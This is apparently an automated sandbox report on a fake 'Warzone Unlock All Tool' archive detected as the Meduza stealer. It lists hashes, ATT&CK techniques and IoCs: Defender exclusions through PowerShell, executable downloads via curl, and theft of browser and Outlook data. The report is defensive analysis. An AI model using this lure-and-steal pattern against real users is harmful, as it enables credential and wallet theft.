meduza | 6db74250d83e75eda76a61af409c1987b0cfa6568feb4ff6d4dd1309053b1610

Analysis

max time kernel
877s
max time network
882s
platform
windows11-21h2_x64
resource
win11-20250313-en
resource tags

arch:x64arch:x86image:win11-20250313-enlocale:en-usos:windows11-21h2-x64system
submitted
16/03/2025, 10:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Warzone_Unlock_All_Tool_2.2.zip
Size

85.8MB
MD5

ba93079e300badc1bb3c1d6350c91c5e
SHA1

9a19059f089d7dcc607e8dd38077deddf39bedb8
SHA256

6db74250d83e75eda76a61af409c1987b0cfa6568feb4ff6d4dd1309053b1610
SHA512

790659e136a160f6a24b2983b6f8c659c4da77c2f276bd2f999017998acc3450dd270920e8b7ad5ddadd2608aed425028e203564fdd48a91d95207ee48857b5a
SSDEEP

1572864:uW4dh4O3Dz4xNpUm5Qs1K/wLBNiWR1Px22wQrkXlnhGuO6ypKmN7qx3RiZ4gWRp:JIq0DWph1KIRR1PxxeXJIugKm1q5TgMp

Score

10^/10

meduza collection discovery execution spyware stealer

Malware Config

Signatures

Meduza
Meduza is a crypto wallet and info stealer written in C++.
stealer meduza

Meduza Stealer payload 1 IoCs

resource	yara_rule
behavioral1/files/0x001d00000002b438-2900.dat	family_meduza

Meduza family
meduza

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4100	powershell.exe
6112	powershell.exe
4932	powershell.exe
6068	powershell.exe
4496	powershell.exe
5612	powershell.exe

Downloads MZ/PE file 6 IoCs

flow	pid	Process
272	1088	curl.exe
319	5436	curl.exe
325	2772	curl.exe
330	3872	curl.exe
340	5632	curl.exe
343	5200	curl.exe

Executes dropped EXE 6 IoCs

pid	Process
5256	1.exe
5156	1.exe
684	1.exe
3896	1.exe
5912	1.exe
4768	1.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 30 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
342	api.ipify.org
345	api.ipify.org
7	api.ipify.org
283	api.ipify.org
321	api.ipify.org
327	api.ipify.org
332	api.ipify.org

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\wallet-webui-792.b1180305c186d50631a2.chunk.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1190611055\shopping.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\bnpl_driver.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-hub\pl\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-notification-shared\zh-Hans\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1052_774344361\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-hub\th\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-notification-shared\id\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\Tokenized-Card\tokenized-card.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\webui-setup.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\app-setup.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-hub\zh-Hans\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\Wallet-BuyNow\wallet-buynow.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-hub\es\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1957342785\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-ec\de\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-notification\nl\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-shared-components\nl\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-shared-components\pt-BR\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\Wallet-Checkout\app-setup.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\wallet.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\wallet_donation_driver.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1957342785\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\buynow_driver.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-hub\ko\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-hub\zh-Hant\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-shared-components\da\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-ec\fi\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-shared-components\zh-Hant\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\wallet\README.md	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\wallet\wallet-checkout\merchant-site-info.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\wallet\wallet-stable.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1525825495\manifest.fingerprint	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1190611055\edge_confirmation_page_validator.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-ec\id\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-notification-shared\it\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\Notification\notification_fast.bundle.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\Tokenized-Card\tokenized-card.bundle.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-ec\es\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-ec\nl\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-tokenized-card\ru\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\Mini-Wallet\miniwallet.bundle.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-ec\it\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\load-hub-i18n.bundle.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-shared-components\fi\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\Notification\notification.bundle.js.LICENSE.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-ec\el\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1190611055\shopping_fre.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1190611055\shopping_iframe_driver.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\driver-signature.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-hub\ja\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1052_1603392455\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-notification-shared\ko\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-shared-components\el\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\Notification\notification.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\vendor.bundle.js.LICENSE.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1190611055\manifest.fingerprint	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-mobile-hub\it\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-shared-components\ko\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\Wallet-Checkout\wallet-drawer.bundle.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\bnpl\bnpl.bundle.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1190611055\edge_checkout_page_validator.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-tokenized-card\fr-CA\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4104_1182364500\json\i18n-tokenized-card\it\strings.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 24 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Warzone_Unlock_All_Tool.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Warzone_Unlock_All_Tool.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Warzone_Unlock_All_Tool.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Warzone_Unlock_All_Tool.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Warzone_Unlock_All_Tool.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Warzone_Unlock_All_Tool.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133865948560410694"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 15 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-167299615-4170584903-1843289874-1000\{59BAE2D3-E47C-49C6-8C10-9FEDF87DDFAE}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-167299615-4170584903-1843289874-1000\{5A6E8717-45E4-4EAD-8D0C-B2A4400CB2C2}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000_Classes\Local Settings\MuiCache	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-167299615-4170584903-1843289874-1000\{82805AA6-F4A6-473B-B573-585896D38C10}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000_Classes\Local Settings	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	BackgroundTransferHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000_Classes\Local Settings	OpenWith.exe

NTFS ADS 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Warzone_Unlock_All_Tool_2.0.9.zip:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\WarzoneUnlock_All_Tool_2.9.5.zip:Zone.Identifier	msedge.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5816	vlc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6112	powershell.exe
6112	powershell.exe
6112	powershell.exe
5256	1.exe
5256	1.exe
5256	1.exe
5256	1.exe
5256	1.exe
5256	1.exe
5256	1.exe
5256	1.exe
5256	1.exe
5256	1.exe
5256	1.exe
5256	1.exe
5256	1.exe
5256	1.exe
5256	1.exe
5256	1.exe
4932	powershell.exe
4932	powershell.exe
4932	powershell.exe
5156	1.exe
5156	1.exe
5156	1.exe
5156	1.exe
5156	1.exe
5156	1.exe
5156	1.exe
5156	1.exe
5156	1.exe
5156	1.exe
5156	1.exe
5156	1.exe
5156	1.exe
5156	1.exe
5156	1.exe
5156	1.exe
6068	powershell.exe
6068	powershell.exe
6068	powershell.exe
684	1.exe
684	1.exe
684	1.exe
684	1.exe
684	1.exe
684	1.exe
684	1.exe
684	1.exe
684	1.exe
684	1.exe
684	1.exe
684	1.exe
684	1.exe
684	1.exe
684	1.exe
684	1.exe
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
3896	1.exe
3896	1.exe
3896	1.exe
3896	1.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

pid	Process
2452	OpenWith.exe
568	OpenWith.exe
5816	vlc.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs

pid	Process
5336	msedge.exe
5336	msedge.exe
5336	msedge.exe
5336	msedge.exe
5336	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
1052	msedge.exe
1052	msedge.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	6112	powershell.exe
Token: SeDebugPrivilege	5256	1.exe
Token: SeImpersonatePrivilege	5256	1.exe
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeDebugPrivilege	5156	1.exe
Token: SeImpersonatePrivilege	5156	1.exe
Token: SeDebugPrivilege	6068	powershell.exe
Token: SeDebugPrivilege	684	1.exe
Token: SeImpersonatePrivilege	684	1.exe
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeDebugPrivilege	3896	1.exe
Token: SeImpersonatePrivilege	3896	1.exe
Token: SeDebugPrivilege	5912	1.exe
Token: SeImpersonatePrivilege	5912	1.exe
Token: SeDebugPrivilege	4100	powershell.exe
Token: SeDebugPrivilege	4768	1.exe
Token: SeImpersonatePrivilege	4768	1.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
5336	msedge.exe
5336	msedge.exe
5336	msedge.exe
5336	msedge.exe
5336	msedge.exe
5336	msedge.exe
5336	msedge.exe
5336	msedge.exe
5336	msedge.exe
5336	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe
4104	msedge.exe

Suspicious use of SendNotifyMessage 13 IoCs

pid	Process
5816	vlc.exe
5816	vlc.exe
5816	vlc.exe
5816	vlc.exe
5816	vlc.exe
5816	vlc.exe
5816	vlc.exe
5816	vlc.exe
5816	vlc.exe
5816	vlc.exe
5816	vlc.exe
5816	vlc.exe
5816	vlc.exe

Suspicious use of SetWindowsHookEx 22 IoCs

pid	Process
5436	OpenWith.exe
2452	OpenWith.exe
568	OpenWith.exe
3856	Warzone_Unlock_All_Tool.exe
3856	Warzone_Unlock_All_Tool.exe
3856	Warzone_Unlock_All_Tool.exe
2100	Warzone_Unlock_All_Tool.exe
2100	Warzone_Unlock_All_Tool.exe
2100	Warzone_Unlock_All_Tool.exe
5116	Warzone_Unlock_All_Tool.exe
5116	Warzone_Unlock_All_Tool.exe
5116	Warzone_Unlock_All_Tool.exe
800	Warzone_Unlock_All_Tool.exe
800	Warzone_Unlock_All_Tool.exe
800	Warzone_Unlock_All_Tool.exe
